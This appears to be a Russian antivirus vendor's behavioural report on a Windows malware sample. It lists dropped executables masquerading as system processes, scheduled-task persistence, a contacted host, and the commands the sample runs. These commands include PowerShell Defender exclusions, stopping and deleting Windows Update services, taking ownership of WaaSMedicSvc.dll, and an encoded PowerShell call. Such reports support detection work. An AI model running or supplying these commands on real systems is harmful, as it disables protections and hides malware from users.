Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\mdmm
- <SYSTEM32>\tasks\explorer
- <SYSTEM32>\tasks\wininitw
- <SYSTEM32>\tasks\audiodg
- <SYSTEM32>\tasks\audiodga
- <SYSTEM32>\tasks\firefoxf
- <SYSTEM32>\tasks\wininit
- <SYSTEM32>\tasks\kr_fontreviewmonitordllrefsvc
- <SYSTEM32>\tasks\explorere
- <SYSTEM32>\tasks\firefox
- <SYSTEM32>\tasks\kr_fontreviewmonitordllrefsvck
- <SYSTEM32>\tasks\krnl_betak
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\krnl_beta
- <SYSTEM32>\tasks\csrssc
- <SYSTEM32>\tasks\taskhost
- <SYSTEM32>\tasks\taskhostt
- <SYSTEM32>\tasks\spoolsv
- <SYSTEM32>\tasks\mdm
- <SYSTEM32>\tasks\spoolsvs
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\idlei
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\conhost_syn.exe
- %ProgramFiles(x86)%\msbuild\microsoft\windows workflow foundation\explorer.exe
- %ProgramFiles(x86)%\msbuild\microsoft\windows workflow foundation\7a0fd90576e088
- %WINDIR%\assembly\nativeimages_v2.0.50727_64\taskscheduler\a3883e7fc1bd0fbc54761b26c2bc5483\taskhost.exe
- %WINDIR%\assembly\nativeimages_v2.0.50727_64\taskscheduler\a3883e7fc1bd0fbc54761b26c2bc5483\b75386f1303e64
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\audiodg.exe
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\42af1c969fbb7b
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\56085415360792
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\kr_fontreviewmonitordllrefsvc.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\909991654e46b7
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\explorer.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\7a0fd90576e088
- %HOMEPATH%\saved games\idle.exe
- %HOMEPATH%\saved games\6ccacd8608530f
- C:\totalcmd\language\0fc223bdacedc3
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe
- C:\totalcmd\language\firefox.exe
- C:\far2\fexcept\taskhost.exe
- %APPDATA%\kr_fontreviewmonitordllrefsvc.exe
- %TEMP%\krnl_beta.exe
- %WINDIR%\microsoft.net\framework\v3.5\1033\mdm.exe
- %WINDIR%\microsoft.net\framework\v3.5\1033\559fba5f8e4410
- %ProgramFiles%\writespid\spoolsv.exe
- %ProgramFiles%\writespid\f3b6ecef712a24
- C:\far2\fexcept\b75386f1303e64
- <Текущая директория>\kr_fontreviewmonitordllrefsvc.exe
- <Текущая директория>\lsm.exe
- <Текущая директория>\101b941d020240
- %ProgramFiles%\updclient\csrss.exe
- %ProgramFiles%\updclient\886983d96e3d3e
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\krnl_beta.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\2c1043d6f0b4e2
- <Текущая директория>\909991654e46b7
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\b75386f1303e64
Сетевая активность
Подключается к
- 'cd#.#rnl.place':443
TCP
Другие
- 'cd#.#rnl.place':443
UDP
- DNS ASK cd#.#rnl.place
Другое
Создает и запускает на исполнение
- '%APPDATA%\conhost_syn.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Текущая директория>\kr_fontreviewmonitordllrefsvc.exe'
- '%ProgramFiles%\updclient\csrss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\kr_fontreviewmonitordllrefsvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\explorer.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\krnl_beta.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\Microsoft.NET\Framework\v3.5\1033\mdm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\assembly\NativeImages_v2.0.50727_64\TaskScheduler\a3883e7fc1bd0fbc54761b26c2bc5483\taskhost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\FExcept\taskhost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\updclient\csrss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\writespid\spoolsv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%APPDATA%\kr_fontreviewmonitordllrefsvc.exe'
- '%TEMP%\krnl_beta.exe'
- '%APPDATA%\kr_fontreviewmonitordllrefsvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Текущая директория>\lsm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\totalcmd\LANGUAGE\firefox.exe'
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHkAdQByAHQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBrAGIAYgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAZQBpAHYAcQAjAD4AIABAACgAIAA8ACMAcgBnACMA...' (со скрытым окном)
- '%ProgramFiles%\updclient\csrss.exe' ' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "GoogleUpdateTaskMachineQC"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHkAdQByAHQAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBrAGIAYgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAZQBpAHYAcQAjAD4AIABAACgAIAA8ACMAcgBnACMA...
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%HOMEPATH%\Saved Games\Idle.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\audiodg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\MSBuild\Microsoft\Windows Workflow Foundation\explorer.exe'
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 14 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'%HOMEPATH%\Saved Games\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'%HOMEPATH%\Saved Games\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /run /tn "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'%HOMEPATH%\Saved Games\Idle.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 13 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "krnl_beta" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\krnl_beta.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "krnl_betak" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\krnl_beta.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\updclient\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'%ProgramFiles%\updclient\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'%ProgramFiles%\updclient\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 7 /tr "'<Текущая директория>\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'<Текущая директория>\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 6 /tr "'<Текущая директория>\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 13 /tr "'C:\Far2\FExcept\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'C:\Far2\FExcept\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 12 /tr "'C:\Far2\FExcept\taskhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'%ProgramFiles%\writespid\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'%ProgramFiles%\writespid\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\writespid\spoolsv.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 10 /tr "'%WINDIR%\Microsoft.NET\Framework\v3.5\1033\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc ONLOGON /tr "'%WINDIR%\Microsoft.NET\Framework\v3.5\1033\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 12 /tr "'%WINDIR%\Microsoft.NET\Framework\v3.5\1033\mdm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "krnl_betak" /sc MINUTE /mo 6 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\krnl_beta.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "kr_fontreviewmonitordllrefsvck" /sc MINUTE /mo 10 /tr "'<Текущая директория>\kr_fontreviewmonitordllrefsvc.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "kr_fontreviewmonitordllrefsvc" /sc ONLOGON /tr "'<Текущая директория>\kr_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "kr_fontreviewmonitordllrefsvck" /sc MINUTE /mo 8 /tr "'<Текущая директория>\kr_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "kr_fontreviewmonitordllrefsvck" /sc MINUTE /mo 8 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\kr_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "kr_fontreviewmonitordllrefsvc" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\kr_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "kr_fontreviewmonitordllrefsvck" /sc MINUTE /mo 6 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\kr_fontreviewmonitordllrefsvc.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodg" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 14 /tr "'%WINDIR%\assembly\NativeImages_v2.0.50727_64\TaskScheduler\a3883e7fc1bd0fbc54761b26c2bc5483\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\audiodg.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'%WINDIR%\assembly\NativeImages_v2.0.50727_64\TaskScheduler\a3883e7fc1bd0fbc54761b26c2bc5483\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 12 /tr "'%WINDIR%\assembly\NativeImages_v2.0.50727_64\TaskScheduler\a3883e7fc1bd0fbc54761b26c2bc5483\taskhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 6 /tr "'%ProgramFiles(x86)%\MSBuild\Microsoft\Windows Workflow Foundation\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'%ProgramFiles(x86)%\MSBuild\Microsoft\Windows Workflow Foundation\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 6 /tr "'%ProgramFiles(x86)%\MSBuild\Microsoft\Windows Workflow Foundation\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\totalcmd\LANGUAGE\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 11 /tr "'C:\totalcmd\LANGUAGE\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
